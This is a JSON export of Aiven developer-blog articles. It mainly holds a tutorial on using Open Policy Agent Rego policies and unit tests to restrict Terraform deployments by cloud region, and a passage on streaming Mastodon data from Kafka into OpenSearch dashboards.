instructions.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T13:53:51.593Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"2c60d9e26ede","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-01-12T09:02:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-fc8619b70960536b4fdbef776eca43facf43e1f8-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/terraform-for-repeatable-topics"},"subtitle":"Terraform can orchestrate your infrastructure the same way every time, giving you confidence in your consistent platform. Idempotency for the win.","tags":[{"_key":"9dc302400082","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"96346c2b0c09","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"(Re)Create Apache Kafka® topics with Terraform"}
{"__i18n_lang":"en","_createdAt":"2023-07-05T09:35:33Z","_id":"29db62a4-36d9-4047-8b0b-a5343500dcc0","_rev":"WsWK2eJhT0GdR6GsCSt187","_type":"devArticle","_updatedAt":"2024-05-08T14:57:21Z","body":"In this tutorial, you'll use [Open Policy Agent (OPA)](https://www.openpolicyagent.org/docs/latest/) to enforce fine-grained policy control across development and production environments for Terraform deployments. This tutorial assumes that you are already using Terraform.\n\n# The challenge\n\nRapu started at Crab Inc. as a Junior DevOps Engineer. He is shadowing a senior engineer on the team to learn how the team deploys PostgreSQL®, Aiven for Caching, Apache Kafka®, and other data-related services across development and production environments. \n\nThe development team is based in Montreal, Canada and they should only create cloud resources in the Google Cloud Montreal region. However, to ensure high availability for the company's North American customers, the production environment supports multiple AWS cloud regions in the US East location. Previously, there were no guardrails in place and Rapu deployed to cloud regions where he wasn't supposed to deploy. \n\nThese are the specific regions for Prod and Dev.\n\n- Prod: `aws-us-east1`\n- Dev: `google-northamerica-northeast1`\n\nYour goal is to help Rapu enforce these policies so that resources don't get created in the wrong cloud or region.\n\n## Prerequisites\n\nThe concept of the tutorial is agnostic to the Terraform provider you choose. For the sake of a demo, I'll choose [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest). [Aiven](https://aiven.io/) provides highly-available and scalable data infrastructure based on open-source technologies. For this tutorial, you'll create a [free Aiven account](https://console.aiven.io/signup) and [an Aiven authentication token](https://aiven.io/docs/platform/howto/create_authentication_token).\n\nInstall [OPA](https://www.openpolicyagent.org/docs/latest/#running-opa) and [Terraform](https://developer.hashicorp.com/terraform/downloads).\n\n[Installing jq](https://jqlang.github.io/jq/download/) is optional. \n\n## The Story\n\nIn this section, you'll help Rapu create Terraform files that describe an Aiven for Caching resource. This can be any cloud resource for your use case and Aiven for Caching is used as an example. Besides the Aiven for Caching resource in the `services.tf` file, create a `provider.tf` file for the provider and version details. You'll also create a `variables.tf` to define the required variables for Aiven Terraform Provider.\n\nOur protagonist Rapu will learn how to decouple and enforce policies using some common tools. When decoupling policies using Open Policy Agent, the structure is pretty consistent no matter the tool or service.\n\nThere is a **tool/service**, in this case we will be using Terraform. This tool will generate some data that will be used as **Input** for our decision. The input file will be sent to OPA to be compared against the **Policy**(written in Rego) and any additional **Data**.\n\nAs an added bonus Rapu will learn how to write Unit tests for his policies, which is part of clean code and best practicies.\n\nHere's a high-level overview of the system:\n\n![High-level overview](https://cdn.sanity.io/images/sczeoy4w/production/15825242d911ccf100493f6de14c0cfedd7b0e9c-5391x2072.png)\n\nHere's a detailed version of the same system:\n\n![Detailed view](https://cdn.sanity.io/images/sczeoy4w/production/a457e42f7ec60ed72c581362433427820a1a6d02-7527x1870.png)\n\nIn this tutorial, you run `terraform` and `opa` commands manually and from your local machine. The above diagram shows how these tools can be used in an automated way. For example, a CI/CD pipeline can deploy cloud resources using Terraform if the OPA policy allows. A deny from OPA might result in a Slack or email notification to the developer.  \n\n## Set up Terraform files\n\nIn an empty directory, create these three files:\n\n`provider.tf` file:\n\n```terraform\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"~\u003e 4.1.0\"\n    }\n  }\n}\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n\n`variables.tf` file:\n\n```terraform\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n```\n\n`service.tf` file:\n\n```terraform\nresource \"aiven_redis\" \"redis-demo\" {\n    project = var.project_name # Find your Aiven project name from top-left of Aiven console\n    plan = \"hobbyist\" # For this exercise, the hobbyist plan will do\n    service_name = \"redis-demo\" # Choose any service name\n    cloud_name = \"google-northamerica-northeast1\" # Choose any cloud region from https://aiven.io/docs/platform/reference/list_of_clouds\n}\n```\n\nTo set the values for the environment variables like `aiven_api_token` or `project_name`, you can either [use TF_VAR_name](https://developer.hashicorp.com/terraform/cli/config/environment-variables#tf_var_name), [use variables on the command line](https://developer.hashicorp.com/terraform/language/values/variables#variables-on-the-command-line), or  [use a variable definition file](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files).\n\n## Prepare the Terraform manifest for OPA\n\nBefore executing your Terraform manifest with OPA, it's important to add two environment variables so that Terraform client knows about two variables that Aiven Terraform Provider requires. Please replace the placeholder values with the actual values for your Aiven API token and Aiven project name.\n\n\n```shell\n\nexport TF_VAR_aiven_api_token=YOUR_AIVEN_API_TOKEN\n\nexport TF_VAT_project_name=YOUR_AIVEN_PROJECT_NAME\n\n```\n\nNow initialize this directory with the `terraform init` command and ask Terraform to calculate what changes it will make and store the output in `plan.binary`.\n\n```shell\nterraform init\nterraform plan --out tfplan.binary\n```\n\nUse the command `terraform show` to convert the Terraform plan into JSON so that OPA can read the plan.\n\n```shell\nterraform show -json tfplan.binary \u003e tfplan.json\n```\n\nFor improved readability you can pipe the output through `jq` before saving the file.\n\n```shell\nterraform show -json tfplan.binary | jq \u003e tfplan.json\n```\n\nHere is a sample output of `tfplan.json`:\n\n```json\n\n{\n    \"format_version\": \"1.1\",\n    \"terraform_version\": \"1.2.8\",\n    \"variables\": {\n        \"aiven_api_token\": {\n            \"value\": \"3Xi1J+E0G3vo0fwr2vWMLl0XgHwRyA6pCX8C6rQQZVhoyFfz9WAMreaGZPAI+jRUGWgtslQKQtIZTICCDZlZkQn3sRYHGBcAxgXqoiT3l9cYVbVvyPNSVPGHrSvBhSCXIYgWX3AXkOG/kQiJ1r0CZn0Y0gK/pRyiti6dImIzyEsZWja9FZk+mV/M/6BAZMKpa/EokkKUj4puMpUX4B3//slU9yUdicr2wCe/uyx53K64rU/OWZYCbqfTI6QcsjZc1wd8/a+0aLsv651qZwxmgTAenmj0JC5tXWD+Dx89NaiZcUdGxhyg58ZYfYh6U3YDm5S/ovDcvq9m/ffMKbb2Sut2vVELPO1l6AA70U1besBR0dE=\"\n        },\n        \"project_name\": {\n            \"value\": \"devrel-dewan\"\n        }\n    },\n    \"planned_values\": {\n        \"root_module\": {\n            \"resources\": [\n                {\n                    \"address\": \"aiven_redis.redis-demo\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aiven_redis\",\n                    \"name\": \"redis-demo\",\n                    \"provider_name\": \"registry.terraform.io/aiven/aiven\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                        \"additional_disk_space\": null,\n                        \"cloud_name\": \"google-northamerica-northeast1\",\n                        \"disk_space\": null,\n                        \"maintenance_window_dow\": null,\n                        \"maintenance_window_time\": null,\n                        \"plan\": \"hobbyist\",\n                        \"project\": \"devrel-dewan\",\n                        \"project_vpc_id\": null,\n                        \"redis_user_config\": [],\n                        \"service_integrations\": [],\n                        \"service_name\": \"redis-demo\",\n                        \"service_type\": \"redis\",\n                        \"static_ips\": null,\n                        \"tag\": [],\n                        \"termination_protection\": null,\n                        \"timeouts\": null\n                    },\n                    \"sensitive_values\": {\n                        \"components\": [],\n                        \"redis\": [],\n                        \"redis_user_config\": [],\n                        \"service_integrations\": [],\n                        \"tag\": []\n                    }\n                }\n            ]\n        }\n    },\n    \"resource_changes\": [\n        {\n            \"address\": \"aiven_redis.redis-demo\",\n            \"mode\": \"managed\",\n            \"type\": \"aiven_redis\",\n            \"name\": \"redis-demo\",\n            \"provider_name\": \"registry.terraform.io/aiven/aiven\",\n            \"change\": {\n                \"actions\": [\n                    \"create\"\n                ],\n                \"before\": null,\n                \"after\": {\n                    \"additional_disk_space\": null,\n                    \"cloud_name\": \"google-northamerica-northeast1\",\n                    \"disk_space\": null,\n                    \"maintenance_window_dow\": null,\n                    \"maintenance_window_time\": null,\n                    \"plan\": \"hobbyist\",\n                    \"project\": \"devrel-dewan\",\n                    \"project_vpc_id\": null,\n                    \"redis_user_config\": [],\n                    \"service_integrations\": [],\n                    \"service_name\": \"redis-demo\",\n                    \"service_type\": \"redis\",\n                    \"static_ips\": null,\n                    \"tag\": [],\n                    \"termination_protection\": null,\n                    \"timeouts\": null\n                },\n                \"after_unknown\": {\n                    \"components\": true,\n                    \"disk_space_cap\": true,\n                    \"disk_space_default\": true,\n                    \"disk_space_step\": true,\n                    \"disk_space_used\": true,\n                    \"id\": true,\n                    \"redis\": true,\n                    \"redis_user_config\": [],\n                    \"service_host\": true,\n                    \"service_integrations\": [],\n                    \"service_password\": true,\n                    \"service_port\": true,\n                    \"service_uri\": true,\n                    \"service_username\": true,\n                    \"state\": true,\n                    \"tag\": []\n                },\n                \"before_sensitive\": false,\n                \"after_sensitive\": {\n                    \"components\": [],\n                    \"redis\": [],\n                    \"redis_user_config\": [],\n                    \"service_integrations\": [],\n                    \"service_password\": true,\n                    \"service_uri\": true,\n                    \"tag\": []\n                }\n            }\n        }\n    ],\n    \"configuration\": {\n        \"provider_config\": {\n            \"aiven\": {\n                \"name\": \"aiven\",\n                \"full_name\": \"registry.terraform.io/aiven/aiven\",\n                \"version_constraint\": \"~\u003e 4.1.0\",\n                \"expressions\": {\n                    \"api_token\": {\n                        \"references\": [\n                            \"var.aiven_api_token\"\n                        ]\n                    }\n                }\n            }\n        },\n        \"root_module\": {\n            \"resources\": [\n                {\n                    \"address\": \"aiven_redis.redis-demo\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aiven_redis\",\n                    \"name\": \"redis-demo\",\n                    \"provider_config_key\": \"aiven\",\n                    \"expressions\": {\n                        \"cloud_name\": {\n                            \"constant_value\": \"google-northamerica-northeast1\"\n                        },\n                        \"plan\": {\n                            \"constant_value\": \"hobbyist\"\n                        },\n                        \"project\": {\n                            \"constant_value\": \"devrel-dewan\"\n                        },\n                        \"service_name\": {\n                            \"constant_value\": \"redis-demo\"\n                        }\n                    },\n                    \"schema_version\": 0\n                }\n            ],\n            \"variables\": {\n                \"aiven_api_token\": {\n                    \"description\": \"Aiven console API token\"\n                },\n                \"project_name\": {\n                    \"description\": \"Aiven console project name\"\n                }\n            }\n        }\n    }\n}\n```\n\n::alert[The api token in the above example is invalid and is shown as an example only.]\n\n## Write OPA policies in Rego\n\nOPA policies are written in [Rego](https://www.openpolicyagent.org/docs/latest/policy-language/). The following Rego checks if Rapu can deploy to a development environment or a production environment based on the type of Terraform resource and the cloud region they choose. \n\nIn the same folder, create a sub-folder called **policy** and create a file within called **terraform.rego**. Add the following code to that file:\n\n`terraform.rego` file:\n\n```rego\npackage terraform.analysis\nimport input as tfplan\nimport future.keywords\ndev_env_cloud_prefix := \"google-northamerica-northeast1\"\nprod_env_cloud_prefix := \"aws-us-east\"\nresource_types := {\"aiven_kafka\", \"aiven_pg\", \"aiven_opensearch\", \"aiven_redis\"}\ndefault allow_dev_deployment := false\ndefault allow_prod_deployment := false\nallow_dev_deployment if {\n\tsome resource in tfplan.planned_values.root_module.resources\n\tresource.type in resource_types\n\tstartswith(resource.values.cloud_name, dev_env_cloud_prefix)\n}\nallow_prod_deployment if {\n\tsome resource in tfplan.planned_values.root_module.resources\n\tresource.type in resource_types\n\tstartswith(resource.values.cloud_name, prod_env_cloud_prefix)\n}\n```\n\nLet's analyze this file. Crab Inc. uses PostgreSQL for their relational database, Aiven for Caching, OpenSearch® for search and analytics, and Apache Kafka as the central message bus. Therefore, the `resource_types` field limits the use to these four resources. Crab Inc. allows developers to deploy in the Montreal, Canada region only. The `dev_env_cloud_prefix` field takes care of that requirement. Similarly, production deployments are allowed at any one of Aiven's supported AWS cloud regions in the US East coast which the `prod_env_cloud_prefix` field takes care of.\n\nExecute the following command from the main directory to find out if OPA allows the Terraform deployment to go through:\n\n```shell\n./opa exec --decision terraform/analysis/allow_prod_deployment --bundle policy/ tfplan.json\n```\n\nWith the current Terraform service definition, the output of the above command is:\n\n```shell\n{\n  \"result\": [\n    {\n      \"path\": \"tfplan.json\",\n      \"result\": false\n    }\n  ]\n}\n```\n\nIf you have [jq](https://stedolan.github.io/jq) installed on your machine, you can find the exact result with:\n\n```shell\n./opa exec --decision terraform/analysis/allow_prod_deployment --bundle policy/ tfplan.json | jq '.result[0].result'\n```\n\nThe `opa exec` command is taking in the `tfplan.json` as an input and validating this against the policy we defined in the **allow_prod_deployment** section under policy/terraform.rego file. **terraform/analysis** is denoting the package name in that Rego. \n\nLet's make a change in the `services.tf` file and change the `cloud_name` field to `aws-us-east1`. Now if you repeat the previous steps to create the `tfplan.json` and run `opa exec` command, the output should be `true`.\n\nhint:\n\n```bash\nterraform plan --out tfplan.binary\nterraform show -json tfplan.binary | jq \u003e tfplan.json\nopa exec --decision terraform/analysis/allow_prod_deployment --bundle ./policy tfplan.json | jq '.result[0].result'\n```\n\n## Create data block in Rego\n\nRapu has done a great job implementing his first policy. However, typically data isn't hard coded in the policy. So let's rewrite the current policy and create some news ones.\n\nCreate the following data.json file in the `policy` folder this should be right next to our rego file: \n\nFilename `data.json`:\n\n```json\n{\n    \"team\": \"devrel\",\n    \"app\": \"crab_cast\",\n    \"dev\": {\n        \"cloud\": \"google-northamerica-northeast1\"\n    },\n    \"prod\": {\n        \"cloud\": \"aws-us-east1\"\n    }\n}\n```\n\nNow that we have a data file, we can go back and update our Rego policy.\n\nfile name `terraform.rego`:\n\n```rego\npackage terraform.analysis\nimport input as tfplan\nimport future.keywords\n# notice we removed the hard coded variables\nresource_types := {\"aiven_kafka\", \"aiven_pg\", \"aiven_opensearch\", \"aiven_redis\"}\ndefault allow_dev_deployment := false\ndefault allow_prod_deployment := false\nallow_dev_deployment if {\n\tsome resource in tfplan.planned_values.root_module.resources\n\tresource.type in resource_types\n\tstartswith(resource.values.cloud_name, data.dev.cloud)  # referencing the new data block\n}\nallow_prod_deployment if {\n\tsome resource in tfplan.planned_values.root_module.resources\n\tresource.type in resource_types\n\tstartswith(resource.values.cloud_name, data.prod.cloud)  # referencing the new data block\n}\n```\n\nNow we can rerun the policy check. Remember we added the data file to our policy folder so OPA should be aware of the new data.\n\n```bash\nterraform plan --out tfplan.binary\nterraform show -json tfplan.binary | jq \u003e tfplan.json\nopa exec --decision terraform/analysis/allow_prod_deployment --bundle ./policy tfplan.json\n```\n\n## Unit testing in Rego\n\nNow that we have a few policies in place, we are going to add unit tests to ensure our policies are good before we enforce them in production.\n\nCreate a rego file for our tests. \n\nfile `policy/test_terraform.rego`:\n\n```rego\npackage terraform.test_analysis\nimport data.terraform.analysis\ntest_allow_dev_deployment {\n\tanalysis.allow_dev_deployment with input as {\"planned_values\": {\"root_module\": {\"resources\": [{\n\t\t\"address\": \"aiven_redis.redis-demo\",\n\t\t\"mode\": \"managed\",\n\t\t\"type\": \"aiven_redis\",\n\t\t\"name\": \"redis-demo\",\n\t\t\"provider_name\": \"registry.terraform.io/aiven/aiven\",\n\t\t\"schema_version\": 1,\n\t\t\"values\": {\n\t\t\t\"cloud_name\": \"google-northamerica-northeast1\",\n\t\t\t\"plan\": \"hobbyist\",\n\t\t\t\"project\": \"devrel-dewan\",\n\t\t\t\"service_name\": \"redis-demo\",\n\t\t\t\"service_type\": \"redis\",\n\t\t},\n\t}]}}}\n}\ntest_not_allow_prod_deployment {\n\tnot analysis.allow_prod_deployment with input as {\"planned_values\": {\"root_module\": {\"resources\": [{\n\t\t\"address\": \"aiven_redis.redis-demo\",\n\t\t\"mode\": \"managed\",\n\t\t\"type\": \"aiven_redis\",\n\t\t\"name\": \"redis-demo\",\n\t\t\"provider_name\": \"registry.terraform.io/aiven/aiven\",\n\t\t\"schema_version\": 1,\n\t\t\"values\": {\n\t\t\t\"cloud_name\": \"google-northamerica-northeast1\",\n\t\t\t\"plan\": \"hobbyist\",\n\t\t\t\"project\": \"devrel-dewan\",\n\t\t\t\"service_name\": \"redis-demo\",\n\t\t\t\"service_type\": \"redis\",\n\t\t},\n\t}]}}}\n}\n```\n\nWith our testing file in place let's run the tests. In this command we are calling the OPA binary, with the subcommand test on the target folder policy.\n\n```bash\nopa test policy\n```\n\n## Some homework for you\n\nNow that you have learned about writing and testing OPA policies for your data infrastructure in place, please write the following two policies and two unit tests:\n\n### Policies to add\n\n1. project must start with team name\n2. service_name must include app name\n\n### Unit tests to add\n\n1. test that Aiven project name must contain team name\n2. test that Aiven service name must contain app name\n\nIf you need a hint or two, take a look at the [solutions](https://github.com/Aiven-Labs/terraform-policy-tutorial/tree/main/solutions).\n\n## Great job helping Rapu succeed\n\nLet's look at all the things Rapu has accomplished on his first project at Crab, Inc.\n\n- Created an Aiven Terraform file\n- Converted the Terraform plan into binary \n- Converted the binary output into JSON \n- Created a Rego policy to verify the resource configuration\n- Tested our Rego policy on our local CLI\n- Cleaned up our Rego policy by moving hard coded data to a data file\n- Wrote addition policies to very more specifics of the resources\n- Added unit tests for each of our policies\n\nThanks for spending the time learning with us today. Here are some additional resources to help you learn about the tools in this tutorial.\n\n- [Aiven Docs](https://docs.aiven.io/)\n- [Terraform Docs](https://developer.hashicorp.com/terraform/docs)\n- [Rego Playground](https://play.openpolicyagent.org/): The Rego playground is available to interactively test your rego policies\n- [Open Policy Agent Docs](https://www.openpolicyagent.org/docs/latest/)\n\n\nIf you have any question on this tutorial, please check out the FAQ page, ask on [Aiven community forum](https://aiven.io/community), or [raise an issue](https://github.com/Aiven-Labs/terraform-policy-tutorial/issues). ","feature":{"_type":"featuredItem","active":false,"endDate":"2023-07-12T09:35:30.731Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"8a96e5958a94","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-07-05T09:34:14.809Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a6f7994395c39b4e43197c774609bd2f6cbadfd7-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/enforce-fine-grained-policy-control-across-your-data-infrastructure-with-opa-terraform"},"subtitle":"Use Open Policy Agent, an open source project and Terraform to control how your organization creates resources in development and production","tags":[{"_key":"5471ae55945f","_ref":"7333c82f-1b90-44a0-b6dc-8a4cd4fa5387","_type":"tag"},{"_key":"3183698ba0b0","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"},{"_key":"a8eb89df4837","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"62890a436e9e","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Enforce fine-grained policy control across your data infrastructure with Open Policy Agent and Terraform"}
{"__i18n_lang":"en","_createdAt":"2023-03-17T15:49:44Z","_id":"f29128d2-91e5-45f0-8e91-159edef4b7a0","_rev":"ZgPiUE9lJ1tcRKuFnakEov","_type":"devArticle","_updatedAt":"2024-07-11T14:16:29Z","body":"In an earlier article we talked about [how to stream data from the Mastodon timeline into an Apache Kafka® cluster](https://aiven.io/developer/mastodon-kafka-js). If you missed it, read it to learn how to connect to Mastodon and stream data into an Apache Kafka topic. This article assumes that you already have an Apache Kafka environment running with data in a topic that is called **Mastodon**.\n\nHaving magnitudes of data that is coming non-stop from a source (Mastodon timeline in our case!) brings us a new challenge - how to make sense of all this data? For instance, you may want to observe trends, search for particular entries, or filter and aggregate data to understand it.\n\nThe biggest advantage of bringing data into an Apache Kafka topic is that Apache Kafka provides a convenient mechanism to plug in other applications and reuse data for such cases as analytics, visualisations, metrics or long term storage. This all can be achieved with Apache Kafka® Connect with almost no code involved.\n\nWhen talking about tools for search, aggregations and visualisations, a great place to start is OpenSearch®. OpenSearch is an open source search and analytics suite that has a powerful visual interface to work with data. It is straightforward to set up and start using, so why not let OpenSearch analyse the data coming from Mastodon?\n\nTo give you a visual picture, below is the architectural diagram connecting all the building blocks used in the previous article and the ones we will add in the current one:\n\n![A diagram that visualises two steps of data transport. The first step (described in detail in the previous article) is bringing data from a Mastodon public feed into an Apache Kafka topic using the Mastodon API, masto.js and node-rdkafka. The second step (described in this article) is using an OpenSearch sink connector into OpenSearch.](https://cdn.sanity.io/images/sczeoy4w/production/72da79c6890109a268bbdc727f12f7fa6656bf4e-2000x818.png)\n\n\nIn this post you will learn how to reuse the data you have in Apache Kafka with OpenSearch for visualisations and aggregations.\n\n## Set up OpenSearch\n\nBoth Apache Kafka and OpenSearch are available in the Aiven platform, so not only can you run them side by side, but also you can use a managed OpenSearch sink connector that connects these services.\n\nCreate an [Aiven for OpenSearch](https://aiven.io/opensearch) service from [Aiven Console](https://console.aiven.io/) (read more about [OpenSearch in Aiven docs](https://aiven.io/docs/products/opensearch.html)). \n\nOnce your service is created, make a note of the connection settings, you'll need them in the next section.\n\n## Use Kafka Connect to bring Apache Kafka and OpenSearch together\n\nThe easiest way to connect Apache Kafka with other tools is to use one of the already available connectors. Conveniently, there is [an open-source sink connector for OpenSearch](https://aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink.html) that you can use out of the box. \n\nTo add connectors to the running Apache Kafka cluster, [enable **Apache Kafka Connect**](https://aiven.io/docs/products/kafka/kafka-connect/howto/enable-connect) in your Aiven for Apache Kafka service or [consider using a standalone Apache Kafka Connect service](https://aiven.io/docs/products/kafka/kafka-connect/howto/best-practices#consider-a-standalone-apache-kafka-connect-service\u003e`). \n\nNavigate to the **Connectors** tab to create a new connector. In the long list of available options, select **OpenSearch sink**. \n\n![Select OpenSearch sink from the list of connectors](https://cdn.sanity.io/images/sczeoy4w/production/181e82a6335777d8ff07bf50fdf8f450bcff811c-2000x499.png)\n\nIn the configuration page you can either enter properties manually, or speed it up by using a JSON object for connector configuration. Open the JSON editor by clicking on the pencil icon next to the connector configuration.\n\n![Screenshot showing location of the button to edit connector configuration](https://cdn.sanity.io/images/sczeoy4w/production/6c531762372c6435d0e0175c32c1b66721b0ed2e-1472x577.png)\n\nBelow is an example of the configuration properties needed for the connection. Replace `YOUR_OPENSEARCH_HOST`, `PORT`, `YOUR_SERVICE_USER` and `YOUR_SERVICE_PASSWORD` with values taken from your OpenSearch service. These are the connection properties you saw when you created the Aiven for OpenSearch service.\n\n```json\n{\n    \"name\": \"sink_mastadon_json\",\n    \"connection.url\": \"https://YOUR_OPENSEARCH_HOST:PORT\",\n    \"key.ignore\": \"true\",\n    \"connector.class\": \"io.aiven.kafka.connect.opensearch.OpensearchSinkConnector\",\n    \"connection.username\": \"YOUR_SERVICE_USER\",\n    \"schema.ignore\": \"true\",\n    \"tasks.max\": \"1\",\n    \"connection.password\": \"YOUR_SERVICE_PASSWORD\",\n    \"key.converter\": \"org.apache.kafka.connect.storage.StringConverter\",\n    \"value.converter\": \"org.apache.kafka.connect.json.JsonConverter\",\n    \"topics\": \"mastodon\",\n    \"value.converter.schemas.enable\": \"false\"\n}\n```\nIf you want to know more about the available options, check [the documentation for the OpenSearch sink Kafka connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink.html) .\n\nOnce you define the values, copy this data to the Apache Kafka connector configuration and press **Apply**.\n\nClick to create the connector and wait for the status to be changed to **RUNNING**, at this point the data is flowing to OpenSearch. If there are any issues during the connection, you'll see an error message, and more information will be available in the logs.\n\nNow the data from your Apache Kafka topic is sinking into the OpenSearch index. The default name of this newly-created index in OpenSearch is the same as the Kafka topic name.\n\nTime to look at the data in OpenSearch with the help of [OpenSearch Dashboards](https://opensearch.org/docs/latest/dashboards/index/\u003e)!\n\n## Log in to OpenSearch Dashboards\n\nTo see the data in OpenSearch, open OpenSearch Dashboards using the **Host**, **User** and **Password** details from the \"OpenSearch Dashboards\" tab in the web console.\n\nOnce you're logged in, create an index pattern for Mastodon. An index pattern is a view for one or more indices that will be used together for aggregation. We have just one index, you can leave it as either `Mastodon` or `Mastodon*`. Use `CreatedAt` as the time field and you'll be able to filter your data by time. \n\n![Screenshot of creating an index pattern in OpenSearch](https://cdn.sanity.io/images/sczeoy4w/production/911aff6bd3dda8ba22019134a4da2badd1af9396-2000x911.png)\n\n## Start by explore data with the Discover panel\n\nWhen you don't yet know much about the data, [the discover panel](https://opensearch.org/docs/latest/dashboards/discover/index/\u003e) is a great place to start. Here you can either view complete data objects, or choose specific properties you're interested in. \n\n![Screenshot of discover panel](https://cdn.sanity.io/images/sczeoy4w/production/ad87bf32d0cbcc36841ed1c34164979b6ff5bb40-2000x1098.png)\n\nYou can also filter, search and even look at pre-created visualisations for each of the available fields.\n\nFor example, if we are only interested in messages that include polls, add a filter to show only those records that have `poll.id`  defined.\n\n![Screenshot of settings to see if a poll.id property exists](https://cdn.sanity.io/images/sczeoy4w/production/1438e4d5dacee09926dffa0f1f35640a52b84352-1259x728.png)\n\nOnce you apply the setting, you can see the latest polls.\n\n![Screenshot of different found polls](https://cdn.sanity.io/images/sczeoy4w/production/43da1135fe26b69ad3efd724f874352c739434fd-2000x1135.png)\n\nWhat is interesting, however, is that if you look at `poll.voterCount`, the vast majority of polls don't get any voters. It seems that opinion polls are not always popular on Mastodon.\n\n## Create visualisations for aggregations\n\nThe discover panel is fun, but you might want to define a specific aggregation and visualise the result. OpenSearch Dashboards has a variety of options for this. Look at the list of available visualisations. Each of them comes with a set of properties to shape the targeted aggregation. Here are a couple of examples:\n\n### Tag clouds\n\nTo quickly see what tags are popular for the latest messages you can use **a tag cloud**. Create a new bucket, set **Aggregation** to `terms` and  **tags** to `tags.name.keyword`. To get more tags in your cloud, increase the **size** property.\n\n![Screenshot of creating a tag cloud](https://cdn.sanity.io/images/sczeoy4w/production/acb704ddb30bd2e2f01c782db6634ec117eb3264-892x1224.png)\n\nClick `Update` and you'll see a tag cloud of the most popular Mastodon hashtags.\n\n![Tag cloud visualisation](https://cdn.sanity.io/images/sczeoy4w/production/745d5470a4833e2258b9c2826471eb11a47a105a-1480x894.png)\n\nIf you're thinking which Mastodon tag is best to follow, search for some keywords and see what tags pop up. If you're a dog lover, apply the `content:dog` filter to see which tags have dog-related content 🐕.\n\n### Bar visualisations\n\nBar visualisations are useful to compare different values. To compare median values for the number of followers vs following users across accounts that posted the latest messages, create a horizontal bar visualisation.\n\n![Screenshot showing that the median of followers is higher than the median of following people](https://cdn.sanity.io/images/sczeoy4w/production/fa6d3ee64b3dc3c3f0a9400796c9e1c32ea01996-2000x917.png)\n\n### Table\n\nIf you're curious to know which users have the most followers, create a table to show information about the accounts with the highest number of followers.\n\n![Screenshot showing most popular users](https://cdn.sanity.io/images/sczeoy4w/production/3ecffe6cd535abc5f3d38a2f6a2a79db4a5967dc-2000x692.png)\n\n## Organise visualisations in a dashboard \n\nOnce you have multiple visualisations, you can combine them into a dashboard. A dashboard will allow you to apply time constraints and filters to multiple visualisations at once. \n\n![Screenshot showing a dashboard with visualisations of data for the last 15 minutes](https://cdn.sanity.io/images/sczeoy4w/production/ae83e1f0efe47243a8a08ee81899144a23385426-2000x913.png)\n\nThe default time span is the last 15 minutes. If you can't see any data on your dashboard, make sure that you have recent data, or use the time field to apply a specific time span.\n\n## Find more uses for your data\n\nApache Kafka Connect offers enormous power to connect multiple systems together by creating data pipelines. In this example you saw how you can bring the data from an Apache Kafka topic to OpenSearch with no code needed. Our goal was to aggregate and visualise the data, which is why we used OpenSearch. In your own scenario, you might want to collect data from an Apache Kafka topic to [sink it to a different database](https://aiven.io/docs/products/kafka/kafka-connect.html#sink-connectors), or [an object store such as S3](https://aiven.io/docs/products/kafka/kafka-connect/howto/s3-sink-connector-aiven.html), or [put it into ClickHouse® for long term storage and analytics](https://aiven.io/docs/products/clickhouse/howto/integrate-kafka.html).\n\n[Tell us](https://twitter.com/aiven_io) what you are building, what connectors you use, and which ones we should add next!\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-24T15:49:15.406Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"b3c217173a7b","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-02-23T09:20:00.000Z","seo":{"_type":"metaData","metaDescription":"Follow our step-by-step instructions to learn how to reuse the data you have in Apache Kafka with OpenSearch for visualisations and aggregations.","metaImage":{"_type":"mainImage","alt":"The words \"Explore real-time Mastodon data with Apache Kafka® and OpenSearch®\", on a blue background, with the Aiven crab logo at the bottom left","asset":{"_ref":"image-58a752ce07c3728d6ddf2531e7710451aa2581e2-1567x844-jpg","_type":"reference"}},"metaTitle":"Analyzing Mastodon with Kafka and OpenSearch"},"slug":{"_type":"slug","current":"/developer/mastodon-kafka-opensearch"},"subtitle":"Mastodon → Apache Kafka® → OpenSearch® → 